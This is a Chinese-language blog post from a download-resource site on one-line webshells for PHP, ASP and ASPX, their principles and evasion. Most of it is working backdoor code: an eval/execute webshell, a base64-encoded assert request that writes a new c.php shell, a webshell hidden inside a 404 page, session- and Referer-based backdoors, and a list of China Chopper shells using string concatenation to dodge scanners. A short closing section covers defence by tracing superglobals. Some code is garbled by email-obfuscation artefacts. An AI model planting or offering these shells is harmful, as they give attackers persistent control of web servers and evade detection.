最新公告
  • 欢迎您光临苏果儿博客资源站,本站QQ/微博注册登陆即送SVIP果帝会员 立即加入我们
  • 一句话木马原理与攻防_蜘蛛技巧_超级蜘蛛池

           一句话木马原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

    22.jpg

    一、原理简述

    对于不同的语言有不同的构造方法。

    • 基本构造:最开头构造的是脚本开始的标记

    • 核心部分:获取并执行得到的内容,通常类似eval、execute等

    • 被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

    如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

    /*asp一句话木马*/<%execute(request("value"))%>
    
    /*php一句话木马*/<[email protected]($_POST[value]);?>
    
    /*aspx一句话木马*/
    <[email protected]="Jscript"%>
    <%eval(Request.Item["value"])%>

    黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。

    其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

    二、简单变形

    很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

    同理,传给a值为 @base64_decode(base64编码过后的eval)。

    利用方法:

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

    通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

    ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

    PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

    ?a=assert&b=${fputs(fopen(c.php,w),<[email protected]($_POST[c]); ?>1)};

    执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

    三、变形改良

    1.404页面隐藏木马

    
    
        
    	404 Not Found
        
        
    	

    Not Found

    The requested URL was not found on this server.

         [email protected]_replace("/[pageerror]/e",$_POST['error'],"saft");     header('HTTP/1.1 404 Not Found'); ?>

    一般404页面放好后,很少有人会定期对404页面进行检查和修改。

    如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

    2.无特征隐藏PHP后门

    利用session:

    
    

    利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。

    利用HTTP_REFERER:

    利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

    
    
     $url,
            CURLOPT_HEADER => FALSE,
            CURLOPT_RETURNTRANSFER => TRUE,
            CURLOPT_REFERER => $referer
        ];
        curl_setopt_array($ch, $options);    
        echo curl_exec($ch);

    访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

    3.常见的后门

    //菜刀一句话
    $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
    $hh("/[discuz]/e",$_POST['h'],"Access");
    
    //危险的include函数,直接编译任何文件为php格式运行
    $filename=$_GET['xbid'];
    include ($filename);
    
    //重命名任何文件
    $reg="c"."o"."p"."y";
    $reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);
    
    //菜刀一句话
    $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
    $gzid("/[discuz]/e",$_POST['h'],"Access");
    
    //gif插一句话
    //危险的include函数,直接编译任何文件为php格式运行,
    POST  
    include ($uid);
    //典型一句话
    
    <[email protected]_r($_POST['s'])?>
    
    //使用lanker一句话客户端的专家模式执行相关的php语句
    
    
    
    
    //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
    <[email protected]_replace("/[email]/e",$_POST['h'],"error"); ?>
    [email protected]_r($_POST1);
    
    //绕过@eval_r($_POST[sb])

    四、攻防

    攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

    守方:分析各种各样的函数,寻找有效的特征码来防止后门。

    黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

    安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。

    语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

    针对超全局变量进行语义分析:

    • $_GET

    • $_POST

    • $_REQUEST

    • $_SERVER

    • $_FILES

    • $_COOKIE

    • $_SESSION

    • $_ENV

    • $GLOBALS

    1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长![email protected]
    2. 您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容资源!
    3. 如果你也有好源码或者教程,可以到审核区发布,分享有金币奖励和额外收入!
    4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
    5. 如有链接无法下载、失效或广告,请联系管理员处理!
    6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
    7. 本站不保证所提供下载的资源的准确性、安全性和完整性,源码仅供下载学习之用!
    8. 如用于商业或者违法用途,与本站无关,一切后果请用户自负!

    苏果儿博客 » 一句话木马原理与攻防_蜘蛛技巧_超级蜘蛛池

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    苏果儿资源博客
    一个高级程序员模板开发平台

    发表评论

    升级SVIP果帝尊享更多特权立即升级